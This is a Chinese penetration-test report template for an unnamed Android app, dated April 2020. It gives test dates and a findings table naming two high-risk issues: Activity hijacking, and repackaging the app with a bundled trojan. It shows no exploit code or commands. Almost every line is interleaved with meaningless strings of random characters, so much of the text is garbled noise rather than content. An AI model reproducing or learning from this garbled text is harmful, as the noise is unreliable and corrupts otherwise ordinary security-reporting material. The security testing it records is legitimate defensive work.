1 L! q3 P# i* Z
0 {) f" W/ `: n
1 M, U; w. O# ^9 i9 H: Z( ?8 ^
" W: }# }, Z4 a
1 y+ z$ e% Q; W H. O* ~
; t9 b& x! Z% Q- _8 ~* @
; Y# _4 E5 a4 |8 ]. R, t7 f
) T/ L" T) L1 e3 [1 m* s
; Q8 D, X R$ V8 P% ~% {& n& p: _/ K2 K$ A0 x/ N+ V- C
) q! F7 g: f6 o3 ^
) X X. c- ~( z* W6 O0 V, ? 文档编号: - g$ ^( |& `& @8 x" \6 P5 k
# j# f' C6 [; [( R
* m+ x l: F" D. T' {- V4 \8 y5 G
/ G: Y9 l0 v: r, h9 H v
) M4 Z a( B1 [% B" W) C. a* |1 Z& _( {3 \7 b6 ?3 m
2 L( w9 t5 r* S: n1 X$ ~0 a! y
3 d; Q$ _ {( W+ t9 n. B" b
- n* X* `& T. B5 k+ d! x
% C$ e4 R/ P" ~& P6 E% q
3 l/ ~/ O B9 j7 R, Y5 c2 B
- V* K( t" L$ m% G: V+ ~
! Z, [& b2 b3 W
( t5 D6 o( Y* a6 O% q
, @9 s2 r, l: a: H' q) }2 x- J u
6 _( G# w' O# R $ c: B, ?3 t& S8 i( u
0 ~) [1 r! c+ \4 U; W
7 q4 ~) L" \; e5 ^3 O8 d: f, H+ I2 v/ f z# G: I
. O; v3 e) j$ { Q& Z& w( c! [: J0 s; I2 t7 E7 S
% B, H& I2 N5 o& y. ^# j e" o7 |7 a/ K0 [# A/ ^
* S) Y) b1 s$ ~! C L
! ]3 O) a% p: T0 g
7 ~ j7 q0 V9 S9 t8 c" j! M
& P& K% K6 C* t3 p4 X" \- z + X( b" u! O T0 i0 G5 k; ]6 k
. ?0 w) T! S' K
1 @1 j, ^ G1 N1 X2 `/ v6 k1 Y9 [# `' `, X1 D0 M {
8 X5 Y) e( |4 f3 W) b2 @6 X. L l
! k. B- O) }" o6 v5 w* ~3 X; l: K/ Y; e8 B/ u r# T
某某某APP渗透测试
+ x4 A- ^2 z, d" Z
/ d/ |+ Y- a0 z; t1 B- L- l+ N( T5 S
+ }: T+ S" J/ P2 u: M* U
' [ H. B3 l; h; ? " e7 Q# G- P- m
$ @4 n# ~& L3 ^ A
2 W: S; Y8 E, z( ^; C5 I
" N4 Z& h' E3 K
9 S* u$ Y6 G$ R% M0 n0 Q( ]1 G3 {8 q3 m8 R8 o# A% w, r- f8 s# a. J
) k+ T* W3 R& q. s. X
# l6 t# |/ w( N; P# x
- v5 z6 B. l. }) t: I3 K7 v1 ?& \& B) q7 e4 h3 E
' i' T; d) ~! d0 a) T5 q. w9 h/ r9 ^3 i' E# M! n
# Z: {" ?& u, z
0 k8 w+ Q- ~) U3 S. I ! b* @; I+ i/ e* _$ m* D
- o5 p% X5 p' E* S% m! z$ Q
) @3 i6 t. b: G V1 P
) J& r" j& {3 S! |- h8 L% x * r- o& ?% Y1 Q1 s
8 w# F7 |7 S7 k% ?; ~: |+ f0 L
' H; B% E) T# @7 Q0 a
5 D2 _% Z( i8 K8 k. f2 u& t a& h- |
3 z5 e o( o( H) f# u4 D# H+ O6 P2 T) F
1 B/ G* i: R, u$ n4 t# m' }+ _* z/ x$ w3 `2 ~6 U! ?7 F
技 术 报 告
1 K* \3 L1 P, f% z# g5 G0 T Q- l7 B% J7 x, g
' X4 i. z8 {# k# |8 d3 u, a! Y
1 p7 T) V: M* s1 v
! J" e$ L* D7 I- L6 g. ~
. L# w8 ?; s. F V2 k' G% Z/ V9 {
0 e# u7 l$ D$ t5 [! v4 D+ q
4 t$ H% O! S7 S4 \0 g# m
( M `8 U$ s( \
3 t8 X2 {) w- Z* X8 q+ F
# j. g8 i" r$ W
) d* }3 o2 {; j+ R1 r( L" n N
. H1 Y0 o. a8 R1 j$ e; F3 W* p
) n; y# Q9 A( b. F6 D6 C7 T- g* D
7 g8 k& Y! [# b* x3 ^; J' T % X% a) W1 G$ l' o/ B
) A, x+ f ~! J! A3 h& t3 R
5 w( ?0 U' O* W/ M& G+ `
2 S+ ]/ f/ }6 O: v( _$ w
0 ]! {5 V0 D! H
2 E) `2 ^& ?0 x+ |" X7 A$ L
2 X: }8 k3 C- Y
# ~/ O d; U. \
0 o7 p5 x. v: p0 g, E# w; q
( M) F2 h5 C* O+ n9 j1 d0 ~
# C6 Z4 ^* S1 c: x5 x0 ?. K, i) v1 l9 N( T5 h
& V, O- K( o. b: D1 _ `8 u, G# F
) b7 {0 c; z2 c2 |, w 7 x/ I L- u3 z. Q' M0 L/ S
( x) R. e0 r8 i/ e8 G: t
" w3 e& p+ u$ o0 ] M5 [* J" H0 r( \7 Z1 `$ k# s2 g
, U- g$ K. ^6 i- q
' h9 {/ K( c- v; b( t5 C: ^
5 f# \2 b- ?) X7 L) y# D) Z4 X6 D( @2 ] a8 V' a9 [4 F6 i+ }2 {) w
& s" E% N2 k$ R: C- w" B3 S
% E4 O1 E: B0 |9 w; [- Y! f
2 T) G; a2 _) G0 y* U! A4 }2 u- a3 ~
l* I; A0 S2 b7 Y
8 M; s3 k4 m- n& A0 N, B/ S" J9 Y- X3 ~5 G Q3 b7 e2 c' }
5 ], T% g$ k+ Y! v1 Z
2 j) O1 t# G* C" t
6 R5 E, G$ r& f# r6 l
& e$ i, }- w a2 ^; h2 i - d ~) a. O1 B( Z0 H5 a" E" l
6 L' {; K& v6 t0 ?* H) t
0 ?: D. z! R1 n& ?( N
5 J% p! s3 ^" P: Q
% X, t x. l3 i7 g/ Y. r# b0 A# K/ ~9 ?* f
; O3 i. e8 T1 N; c
5 T# K7 n* ~( o3 T1 Q! o
% e8 ^. a. R K4 {# Z
1 b- ?/ ]9 C6 O* P; l9 O. j
3 @2 Y# @9 S% v3 G) J& ^
# U5 P3 ]: [# x; Q6 f; |0 s
+ b% a3 i# e: z& h. e6 g9 p- ]) t3 \8 S1 J/ T* J" d9 O
0 {# j9 C* U, F
2 b" u! j ]2 U: p" J( x$ |
$ }0 j( S+ S- o3 ?2 X' D
! p( U k9 a6 @1 f% M6 ]: R ; I, s( B, b4 k4 U J
( e. ^. _4 y8 u# \8 `) Z
{/ Y4 i7 p: `' y
; A# a% j, U& {( B# P0 H 6 {' N" w! h: V, D" Z
* P/ X1 v2 O3 Q) s+ p1 @/ ~( M9 t5 n
4 K: F0 d/ W+ K4 i% N4 k- g, ^( n: ~9 Y) a0 z: s. ~% d
[5 r* v- ?; N7 M- u
4 t6 Z' H. P5 M. ~3 I
0 c- e0 B4 Y: j7 N8 q5 ^! L; {* t6 i' g3 x$ s O2 ~
3 B6 @+ z# G& J$ C: z G' U# w3 S9 W" l# I2 i$ _6 t
$ e5 o" A1 P8 L$ f) s( X* x; ~) @) i2 B' O- u: R' W N% ]0 Z
0 q9 D, I* ]9 J1 H1 |
% R: f# v- E8 U# R. f) b
! A8 C* v9 B4 s. [- e- D( t7 ^% P) `- D
1 @! ^3 U0 o/ ~4 E; j/ q! n; M3 K0 z, {( |/ q
( H. n9 h5 i: E. x4 }( h/ `
3 w* v D% c! F* [3 { v , u- @& S5 G- o4 }. w' c: U
$ J' _$ ~" L: M
" Z3 p/ r" s* j5 D! ^
1 c% ?; E1 [0 f- j6 R x
7 [+ ^5 o- t9 w0 u% Y$ I: D: b- R+ J% W/ I* Q* s
! a: B1 z0 K) X% j6 r
* V% l Q2 x7 X# G* |; y
" A( i* t. B0 C8 p; s, d9 x9 H+ ?
b) @4 M: {! _ g- u3 ?' O
( I# D; r6 B; r% r8 M% S/ ~7 k; T
6 d, Q2 H5 y- q9 S
, }9 `6 k% O$ \! l( v4 S
5 w: z% D( A- E3 P1 P% J- V/ C
9 G6 a, `# T9 \+ ~4 f; ^. V* T( |/ M8 \
/ C3 m. l5 a6 o- F$ h" K1 p, I* i$ K
' K! e! k# l& x* c" w. q
" c) i1 {5 s8 G8 K+ o0 _
* u. L' l# P' A
1 \5 ?; b Y1 s. d' W: A' O$ K* x4 ^* z/ x5 k+ n3 [4 m; h; o
) ?* R5 u4 ^4 C% p7 H% D+ D
7 W( h2 c' C5 k* I8 s4 X4 r 二〇二〇年
! I! Q) V+ ~4 j' {$ d2 x% d$ y u
" ] F3 f V( g, W
0 m5 o: T" W# G+ _4 A 1 C+ X# H+ _# K9 a
' H8 Z0 U9 |$ x- R& P2 D
3 P# g9 v. V! I% Y& ^1 F- l7 ^' g# I/ f/ A' O O$ a" J- o
6 r; E1 o( f5 h7 G, W6 ~
$ }% o" u; q" C8 R& t9 U' ~7 q
, J" T+ h5 s; y `
3 n8 M7 z: \' P) ~, H
5 ]6 S5 X8 S# J( N; O: O* M6 u0 u: a4 [& V5 ?' r$ L3 h. Q$ t
, W8 s3 w* W- i. B/ w
$ X0 c3 L; |# l: o$ d
N* b Q6 R! B8 b6 O7 z8 U8 m. D# ]$ h' Y" c
# z4 r8 t6 O2 y, U
$ v- s" _: t! l # E# H. \4 L7 @
- Y( B( `$ e" }: ?: B8 |1 l
目 录
; }4 M7 B# J! v+ g! t5 X" N6 Q7 \( f/ j" x6 h8 A# d2 ^- R! s
# J$ e% [# m2 g) F$ g" c/ v7 T# l7 d. e6 q
' ^( w' j/ W9 `2 X+ a7 b8 y+ |- R
' @) q5 z9 r' g) t' }8 d9 B6 l+ F; B3 p+ y# i
/ l& A1 p/ K$ R1 `7 s* w3 _( h7 d1 @( n D4 K
% ^& n- N2 D9 B9 c. @6 c: J
$ s* P$ e* J2 B9 H0 U& ~3 \ * x0 \1 b, R& i* |" _0 \2 C2 `
. M9 L5 S2 J2 g5 P 1 概述... 3 1 n- H# T0 h: k) C
' f, O6 t$ ?# @7 L8 v! H
, {1 |" E- A. a3 n
2 m+ `" h H9 }9 k9 r$ Q2 b
2 L" ^1 k7 |0 d2 [# Z+ ~
|: t3 U+ U V3 {7 k, b; K3 D, E' x/ p 1.2测试时间... 3
6 L5 ^$ Q7 U" [1 ?0 m, A
! ?1 j9 V7 e4 Q1 ]
* P4 x n" C5 K% f" A
* W' ~+ B8 r; {# D
- a7 R) ]4 G% G8 {# }* N
( f5 T/ v& h9 D 1.3测试对象... 3 , Q/ p6 _* w7 q- \
1 T- \6 A0 E9 f! \; t% z2 k
1 D- b. h# @( s- z/ u2 F
; S F u- Z9 h A5 P 4 I8 q6 u$ e8 U [, E
" p: w) Q; X0 z5 p+ X+ o2 G9 R6 W 1.4测试结果... 3
/ B( L) \- y0 G7 _
9 F' B- ~9 n! k6 L, L, g5 d- @
% t; m, X/ K/ o) D1 X; e; H1 X9 h! ~. m3 d2 r( F
- c( S( R1 ?- ]9 @- W) E& M
& ?$ W) p) n( t, h) p' K4 Y 2 检测结果... 4 & }$ x5 T) e' ~8 H& q
8 v7 h( u! p6 h9 R" U0 J
. {' o6 ]0 m4 [) m' l, V5 Z( X# B- c5 F; C
# K8 D2 _: t. z5 {6 Z8 N+ I2 f. w( z5 W8 n
2.1 某某某... 4 $ ?" r( n1 Z |: k+ D
% N+ x9 i0 X4 @2 |3 U
* |$ ]7 U% H* y, u
: N; Z. Z/ v1 \ P& C+ H# D; Q6 d o
# e7 a/ }& a3 k3 u7 m8 B. G
5 n) E, j! A& U3 h; T4 }6 s 2.1.1检测目标... 4 , G j# l( N W, n4 g
/ x, E; z' E, ?: k2 ^1 l
# M2 B+ r* R& {3 C0 m
0 F* h7 Z: Y$ e" D7 T
9 _6 S: L' k; H, ]) D t: h6 C% w A+ U& R
2.1.2检测结果... 4
1 a" H: u) v" }
, _7 I* U' s' `) A8 v: e
: H* u: v( o" R& W" B4 e4 A" O+ q
$ f6 y: m6 Z! W Z
# D4 ]% x! a- W+ x1 S, r2 P! N3 \8 G
, L) T. @( z/ v% b$ Z 2.1.2.1. 4 ' H- `: |2 \ Q$ g3 x' H
) M: \2 w) u9 w
' ~4 O) V7 y( _2 _2 A; h6 Y9 w) K I: l; v
3 V+ `( B, S# a) z; f
( q2 Z8 ^" P4 x 2.1.2.2. 6
0 ]3 t! ^# h: `; F6 }% K
" r- u6 I$ G, Z3 h) v! j
; [ N0 b3 f+ a( e! v% |
& `6 }" \9 H) G( f7 [# D- G4 [
( E7 c$ L( ^2 n* `5 Z
( `" |* k" h- B$ w
( s% ]5 ?4 S5 e# P
( }/ N8 g! X. Z+ @
5 i, U) W% i0 H8 l9 a3 R
$ r4 R! t- P$ X8 O# F1 G9 e) a
: w/ n; ]8 _& O3 |) S/ c( |* D% P2 L2 E9 Y
$ }6 Q6 i8 [1 d
, T r' [, a7 f, x! Y- `
* q* d% q3 {6 Y& O
* n' ?! V5 P0 m8 g2 o
5 ~$ y% z8 A& j4 J+ D/ V, N, c$ q1 K
' v' a5 C; K9 A' I. i- C1 r
# ?8 b. H3 b: s2 R! u: n 1 概述 % k1 L2 m3 n3 \+ I: t4 H* K$ v' d
8 c4 u) e3 ^# `4 G
+ i# z, O0 t- u9 ]; H. U5 b
! M. k; |% E8 I- p) E8 F$ _7 s # k# `" ]+ O- W$ \
1 P% n6 {( B, U! s% F" l, I
1.2测试时间
8 Q5 v1 S2 R4 P: r4 f# y Z6 _7 {! |) A8 m& f
! H1 v+ V/ Z6 D3 x0 W) D; O
% z9 K+ M3 m) v/ a0 a! |
3 S1 F7 A) A1 I5 [ r U+ u4 V
+ w$ D }4 @9 D4 ?5 g. \
8 q! _4 v' r! {+ X! B
4 G) H, l- A% P* Y. q
) E+ T$ E1 Q7 Z% C5 s% B! ]
. L3 f# C6 c0 w. ?; I | 2 a9 G# N8 S% B. X7 q# Z% v
& N. M1 j% i: G- @) l- r0 ~
4 [6 k9 E, p$ w( O Y2 p# G5 D$ J5 Y( X1 d! }) ~) L+ U8 Y D# r
渗透测试时间 - w8 g7 t) Q/ }- w" D X
6 Z! k0 q3 ? S % E1 X v5 G) {
e9 k- q" v) Z c' G$ ?! C |
! ^) Z* {3 k) a, \& {& k8 |/ t+ }6 R1 I2 x" Y
* z" D3 C0 { O' t4 H8 P
4 A- B ^% u) D3 J$ S
; i! |5 Q' G% M) n" L# `
6 M( j0 s' s* n& b |
+ y' ^# }) p2 Y4 P k& s# e9 J/ ^- y
" Q; K' ~% O- h4 i7 C u; X" E; W
& A# s; `) |7 D4 W, h5 N7 f% a
起始时间
# S1 G& }. e9 t
; ^ j. W; O& V0 B% L
7 u/ R6 r% h1 u! U4 j1 r- h1 ^: ]) p5 f/ M* G# A. D
|
0 D" W: J! {) O4 ]9 s; r( h: m |) ~8 _7 z: A
1 }$ z6 g% @' u2 \. l; w y5 t
: b8 C3 x* I$ _& l9 ^6 S
# L: r5 T a( A1 p6 |. ^
- K: u6 Z( l3 y- b9 G: D8 { 2020年4月6日
1 g% O# P) P# I* h- B1 L# {# ?/ B# o+ q$ s% u( j
2 }$ t- }& m4 k
' y& A& c" c! n. ?: D7 k! h | . Z( k/ n- U0 l1 s+ B6 ]
) ~* Q8 `4 u7 D% p q* a
6 b8 `% R/ }! Z1 g9 @) _" L( F
$ K A$ c! ^+ h0 W. `* V & g" z5 H* ]+ P A. d% H
5 i2 {0 p( q( U/ [1 P4 {
| " g2 M7 e# r0 w- J7 x& M. g% A
! S7 _! W7 J0 X' @ ! E4 p: r8 h) [; |) H: K# F
& d2 J1 V$ w/ Y, N0 S$ G
结束时间
" z ^; o' w. `3 n/ \. _$ k
9 [* m+ c, B( C / a" s* s& \# W3 O4 L
4 n# W$ \/ T0 b; ^3 r4 \$ ]
|
7 c7 F4 ]8 d$ V& U' Q$ J: y5 O& n9 V1 a3 Q% ?& O: _
! S& P6 y- c* X& f
! j, K6 m+ X, N3 n
6 l4 ~ t7 \; f: H8 w3 a2 l
! h: V- O- x& E; d0 n: L' \( a' y 2020年4月9日
' k& { F# W! W# ]2 B5 r
0 @4 [7 `, P0 @: o
+ P0 _$ @0 b, c! b# ?0 h2 P6 m6 w& u
| + p; ?$ R/ L7 Y+ k" h
6 e6 _+ J! y) \
) O" \1 Z: t2 T& a5 \6 H1 d% ]
% ~: A. W+ m: p6 M" N
l5 U8 r; J5 }7 g- I; F, V2 i8 x: Y1 l% I" z4 C" D7 a8 | k
% t; M/ l# \, U/ p3 K
3 Y4 w& H: V$ m+ D' C& \
- y* O2 Z8 c% N4 d# W' Q
% o! a+ s# s' A 1.3测试对象 0 S& f) `+ F1 E1 f& V
( D4 n) }2 U4 d/ o8 a Y. J
9 L* n/ O. [# R& z$ \5 `: T0 l0 E% \. c& N+ z. m) f% S% k1 H a
1 j- A( h2 E- n- g* |0 W2 S' a
u6 T, D D; P* U* A# Q8 F 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: . f& h. h# L+ n6 m9 M# M
( V/ T1 {" `* y+ b) F
0 ]0 f8 P9 P! R0 f/ X+ N4 H3 ^- o
2 T [( ]: _9 y7 S
& Y+ B/ M# _ k X: [0 W) Q6 n9 o
( q9 m m" A* k% M7 O) V 表1-1 检测对象
5 L+ P! E p. f: f+ m& D1 j
4 r6 n4 v5 \2 x( I% g5 g
. K3 `' i/ x$ _- K
* L7 ?5 ~( x( a2 Q5 U ) |8 |" @ }! W
( |8 ^( y" T# M. u 9 c; Z& ?, z4 \9 G( {
: K" \; i* j' y ?7 g+ _3 ]% F' J9 B# ^
3 ?7 R- u+ S$ Q" q" c | 9 E4 a h4 P! V# X7 J/ i1 G
, }. ~/ X; z! Q0 j0 m1 I+ L
2 w: K- _' t$ u% z# r$ j
! f2 \2 j# R1 ^ S1 E3 [3 J 序号 4 a# H* o7 x% V- Q# S8 p
- y* A/ ~" Q* ~; k( \9 i+ D" I0 J
3 P( x( d: h; J! |' @6 M! S& | H" M' C. B
|
X" J j2 _& r6 {6 p- E0 D' R# B- ?
* T+ e* k$ a" J! u( J" r7 ]1 t
& e! |3 e: Z( Y5 [" `1 m/ t
$ h. x! z8 P- Z4 R: ]" P" _* B% w4 a0 E; ~ E; k, W; i% l
测试对象 * p2 O& n' S# A9 J& m6 }) ?; e
: B& n- T2 {; ]1 ?! Q1 M : d8 R, y% N9 h, c2 Z% G( d, m
9 Z; {+ U4 ]& w }
| 9 S3 ~1 o5 o2 H( k# d0 n+ S
% m2 C, P8 E; P) k2 h
# j/ M% f, a5 {" [- p# Z2 I7 H) R; w4 f& K6 E
. y3 j1 G: i; \1 L! D/ h- V/ F5 f
9 C& ?( `) c! h& |
测试地址
/ r: l' b( A/ @2 U, R
' R- P0 {6 c% s: [1 ?" d
+ e) y- ? v: D0 d# I
0 a* k, h4 |& ?. q! Z' M8 @; x |
- `4 {+ [1 K H! ~/ W7 f8 q
8 d ^- N# E( c" C8 ?
3 P5 V2 a) `# T0 ~3 k; |* U9 L0 O8 }7 [0 u$ | U
# N2 L! Z8 f$ A2 B0 w% Q4 w
% {& q; Z3 U7 s5 \; @ 安全漏洞 5 H( M6 s8 q( M4 e1 l
$ i9 I; Q. p; o# [. g/ Q' {8 i
$ x+ I( x( k+ o- k* g( X
+ a* m# z, n ]' V | 2 U9 A4 A* E; d9 Y: `0 {
. N( z7 Z, m: G7 @: @
- Z% s) Q5 h" ^8 N3 \5 @
7 s6 q( b- D2 a1 M6 ]! \
4 I# G5 E& {% Z% z7 {3 |
+ \1 ]2 j3 z% G" x5 I |
$ [( z% ^4 Y0 ]; j2 K; e* O# `* L" n- p+ O# U! J0 |
& t4 \# ^( V1 R }, ?- z7 M; S# w7 d5 r* P1 L, r4 P [, a& n% F
1
8 v% q5 V3 B6 I
0 i& ]& q# |+ w6 [4 w/ s
) F" `8 P6 t5 `* N5 ]
; d- f, U" l( Y |
" H" Q. o' G3 Z/ n- o% ?! B; |' j X0 X7 P: V- e5 o0 p
8 h! s* M/ T0 L7 k% p1 V4 @
0 ~0 j! `+ Q) N7 ?7 ]3 k8 \+ p
8 Q* g4 m* Q0 R, B7 ?7 F/ {+ z L& T2 Y% q, E+ L3 v0 a& {- M
某某某安卓APP
% B6 U8 b+ d+ A, n9 O7 X5 Q2 \" k F( \2 w/ v
5 f' n' H) Z0 q% d# w% O$ c. L9 T3 v: b8 e; [2 W" M& J% F
|
& v) ?/ [/ U9 H2 Z! T- ]' R
8 y- I* R9 v% u. K% H1 h
9 g% D; h5 D: @+ j; Q1 \
; M2 p& k9 l4 d/ q8 ^ 1 Q' G3 H* G0 \! @3 z
9 T7 g2 t6 l, F $ }8 K& O! `, ]/ f A
( v9 ]. H$ `9 n! ~& ~: E- {
) z( D% M d: S- A
8 J4 Y( q0 r0 m4 K% h# ^4 v8 t | ' d8 b3 @/ L7 D* [& s, a- P/ x
2 R7 H& H. n0 f$ q# q" F7 s/ s 5 t9 Y! H- J0 ]7 s3 R( b
: H7 Z( {9 ]+ N6 l
" i4 S/ v B# C+ O
5 k# l) z, m$ t1 a 2
0 M; E+ w i) a' w4 R/ y" }" @" ?/ R( l) R& }1 }2 P
5 _8 ]. D' x# Q
0 h+ w6 `2 `# {* Y7 ~& w | / t/ [- V8 u; X. B
. y g( d7 X! \' p
$ p6 ?8 X% _" p; b( G) n
: P" K1 E* {/ p) I, b& k9 d( D- J
. f- F# L" X8 x: ^9 d) Y0 o3 P; F) `+ ~
) }2 `; c! G7 F) ^; h
" p% ?8 j) F( m( L4 ?0 P
; C. [' M M5 A! r, o
* y$ G: u5 Y- h: d 1.4测试结果
' o, p! f6 P0 _' j7 j/ r: I7 }. `" m% ^9 _1 E7 }6 p
1 S3 w6 }8 ]6 a8 A# V, w* A
# U) E2 I4 \; Z) b! Q0 i* F6 B7 S y$ Z- K% A* r2 r3 f2 r! z# D
! I& l" M& }- X( d 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: $ G& _# [: l& {% K
6 D. j% G" y. f0 B2 i, J6 F" N
: _ B* S$ m5 n
! o, B5 P* G; w, A8 a0 \ 4 M' F: K& v8 @3 o' j( J3 m
/ n7 }8 p# S0 C5 f8 z1 R
2 M* p3 v% g+ w5 f0 B$ Y# C, P3 h
4 G8 I6 W% y2 n E1 Y( `3 T) O
- e. k" t+ U' } d
6 a9 G" Y/ O2 r) [- d9 ]' ?! L1 k / n0 t& F% k5 {' Z$ I( o. h5 p6 y9 H
' ?. G4 g5 k* y
2 w; V: K, A5 R/ j W" d
7 P- s8 ?# K9 h/ z* `6 ^! b $ F g( y0 `2 V
8 q/ E' Y( `$ d" z0 m
_/ P: o5 ]8 Z! B
0 ?, C9 {3 S7 P6 k |
. l/ V% T6 V2 o4 B: k3 Z! h$ ~; w4 E8 _' o
; K$ r) E' {, w$ q8 C8 [2 }* p8 Y3 w, s7 s8 V
序号
b) Y5 @( [$ M. T9 |
$ x4 m( w1 ?! G7 j5 C, n " t+ \8 \0 A' }" U: C2 I
, q2 G; C4 ~6 N$ j0 D7 K |
: ]% b$ i' n5 _( Z
' y9 n3 n( Y5 U0 n+ e6 @) w6 M; h2 u - y: z. |0 o1 s* L& }
9 u7 j' s2 a/ D, i3 ?" f7 h
; X- |4 }: e4 J* _
+ [, n' K8 N4 ~ y( j$ C8 A9 x( T 系统名称
+ A8 i b* P# {+ i9 C N7 @" I/ H( U9 F: s
, J6 k7 w$ o" m6 S
# Z" f1 A) N- V6 v
| * C! @0 r6 X7 ?8 e
0 F6 [- I( z8 T0 n ! N# v4 {1 V, V6 L1 y
$ Z. ` i1 K' r) A1 _ & n# \5 [8 o# B- W4 e& B1 b
0 W( \$ ^" o6 A- A# i7 K4 A& u& Q' w
漏洞名称 f+ C* x8 N) D) A2 B" ?
% y7 A- v w6 [5 S! `! U. v# f
& L) k1 R4 H$ K2 r+ f" k9 Z
G( l: U& [# }" q0 y$ {+ P |
. D U/ f$ ^, H4 K0 w/ |8 `" ?6 n3 @& E1 Q) B% N# B7 _5 _7 |" ?
& Q; }# `& q) t
: s( S T1 N9 w 0 F$ C$ h/ I4 P
& s) ^3 f$ b, ]# R" ^ 漏洞危害 - o/ \, o" ?' ~0 q8 X
# ~* |) A2 Q+ S3 D# d3 p# y
9 b# G$ a4 o5 s. E* E5 ]7 D, j" l* U" O" C# r
| & W" |( h+ R: q u* e
" l+ O1 _" q" J( Q7 g
?" G. o* f; P" `9 Y! Y' ?& U
" e2 S( X5 Y6 q0 a
& C: O! R* V! a! k% ~( s9 i! l
+ v& _1 h1 H8 h( i* t" @+ S 修复结果 6 {0 b+ [9 g' a' `* a" T
: e, G4 C. [8 g ( M, x0 r' r. o9 G0 A
" x2 `5 w, C/ U9 k; o | 4 X6 c, Y% E+ s8 ]+ f' }
5 R' h4 W! k+ l: ?7 e. w
) Q2 O! A& Q5 M, j* c. _ j- m$ J" A- x: ?1 c, c
9 }" m- c4 ^: j0 ?9 y1 B) {' e+ h7 F% a5 U
| , L, a! @# W2 b; c8 }
4 V% M7 g$ w N) \+ C
- F/ i; p7 V& z. I( R4 p: X
/ s) |0 N/ K" p 1 / x4 T) Y# f: X
3 y+ O! J$ {8 P& c0 Q
3 {. f9 B( M( F; E( m) t4 T& X4 c7 b& p. }2 F" J
|
$ c# B2 Y" {: z* I6 p
) a0 L. n, R% B
5 a B y2 I# y1 `0 ~0 N" W
; Z4 _7 V, D2 t' q
: G: v9 e, G! C; J1 P- V, y% ?7 r+ o4 i
某某某某某某APP . G; k8 m' K, s" p% A& u5 D
1 a9 l* a5 ?$ B7 l8 t D4 ^) a1 J6 m3 [
2 r# B% c. B; q$ s" v1 e; K$ ?7 W& A0 p9 R) B' j: H) P4 |
|
$ Q8 ]+ ]- G0 r: |3 ^5 ^. s* M, n5 v! C
$ i; s" ~+ b Q( [/ S9 \! O: I9 r1 r4 r# n1 n4 m+ r- F
. F/ Y% p+ b' i/ \; F
) ?. O |- Y3 I% F* r# b- V Activity 劫持
7 K. B$ K; x4 C% o9 F# N4 r7 p, D3 [. P
/ J1 ?; y, x2 I: G1 e
& k# [* N; B" j5 Q ) h+ v* x: ^% p1 t/ T- I
' s4 H" {2 `/ B8 J- n) Y2 W
2 K& @3 B: ^: g4 s
3 h9 i* @; x4 A E. f " x$ L6 Y q& ?3 Q' l: p
+ u! Q0 `' x, U! }( u% V1 l8 O | . S9 g( ]3 L5 N6 |# G
( P4 j) X( ?/ t! \5 F
H! N4 X6 ~# |3 Q% X' m
3 p6 c& k3 ^1 X+ i ; Y8 D- V* D% ]. F" P1 D: t
{' G9 t+ ^/ _
高 6 l0 p1 T# r% k$ d( e
% @1 u$ W$ d7 |' F5 Y
* l% o9 ^4 }6 l; F
( J# b2 c$ ?) |* P
| : ^7 E7 p6 C! X5 R& @6 b
9 B; a2 y8 P2 r! Y- Q5 _
+ W6 Y2 a; S4 h/ ~# Z
/ h* T+ v5 o4 L9 M! U' Z' ]( J
7 l8 I U2 M- V, _8 n; Q* i
! l4 Q7 z% s, V6 e * i' X4 j9 g4 K- x
/ M- Y! A3 G6 M5 c, R3 q- T
# f4 m+ V. c0 B l( Y( X/ v+ c7 }0 f+ Y5 m, y
|
2 O/ R' H! Q( c& T; M6 |9 e. x" `4 p) s. g$ k- F: Z
3 i! D9 I _4 l, a2 Z: K: O2 Z9 u/ L; z
, T. n7 t5 @7 k9 {* G
+ F& X) S/ u% s% w, U ~) M' N0 Q% \
|
l% Y, f1 [ {; Z1 `' p A0 c1 r
* X9 w, x7 B, B, S
" \7 O" r% q% U7 v) _ 2 " L" N3 O. h c$ s( Z f
& S; |2 z8 p. Z, P) A
/ m' z& l$ C- c0 y
! i; `2 d( `9 C" l9 u, L8 d | ; Y# l9 j) @- W" d( b0 c4 c; F
! F) f) l9 g# \ n1 E x4 C- a% f4 S2 N2 f
' ~5 u$ Q, e$ c
! ~ M( x3 s- o
, p9 b8 [9 o. k8 T" _& R; X
某某某某某某APP
$ Q( w* K# i1 e6 }2 R7 x( E6 k7 t
2 p w, @6 `9 D6 w4 H5 j- @
8 t- Y: Y. B5 z/ m7 W8 u | . M$ q' E$ p9 j4 p/ O2 M
( R/ O! a. s& m8 m- K" d0 B
/ {) W8 j: j8 Y
- X+ I2 V, J* y9 y+ P# h/ I5 ]4 t1 O 7 v; y: F# b# I6 K
) d. a3 |# j( W5 U. w 反编译二次打包捆绑木马、篡改APP代码
5 k/ ^% n/ F @+ A( F4 Y e# ~4 w- n& K- [ v
! j. ~8 X) P6 S( D( g y
% i$ J# {. w9 O+ x X |
3 p' s9 h x% ~; ~; J5 \ Z* f
7 f) p1 A" i- x! v
/ `3 N9 _# | [+ G
* C3 Y5 ~! z2 U8 S1 N: g3 Z
8 g$ p9 c' d$ `7 I2 `& [0 X7 j% ]5 m7 m/ D* ?0 Z3 U
高
* w' ^2 ]2 {5 J) K J5 c
9 `. c: G+ y$ g( i2 O A , t6 r* `6 T! z) \6 w6 O
/ d3 z: v4 ^. p) A! w" Y
| * S5 Y! P+ N+ a0 h0 }" |/ ^/ T+ ?
4 w3 i( ~& s8 B! c* t# j: X 5 W( k/ J& c& M+ j- ]
w2 D' E, p. A. v0 e
2 c9 d. L5 g y5 j! o0 L" k# D2 F F, D5 k/ |6 p3 K7 x
3 P3 d* g U. A8 D- l) @) U
; Q* M; ]" f8 j$ I' o " [8 {4 E! q. I1 a9 Y' e, @- b3 v
1 f- N' `. f* ~ Y2 _
|
, i$ e m4 S3 H E4 H% z$ ? A1 V$ l7 \7 D
5 ^5 J! V$ V' I7 Z6 g4 U# {
! T* S. `/ u0 N0 E# H# Y) h % e: R$ K8 O3 X
$ |/ _0 Z ]! F/ _
- l( S! B! T, x( N9 Q) }
+ t! p9 c1 e0 R
& f, I! e1 d- m% B( c+ Y) u* T2 z4 \& D( l) u1 t* t
( n& z/ U n. u" i6 e0 e1 r( Q, c" ]5 ~6 n/ @$ d H3 [
, X. a( M' s& W$ a S* q! t
7 m8 ^! u+ D' B" H$ \ u4 L
. t' D1 j+ ~2 u3 u$ f1 Q* _! s( F4 x" Q. `) D
6 S) _, w$ `0 O2 j( I- E1 B: L
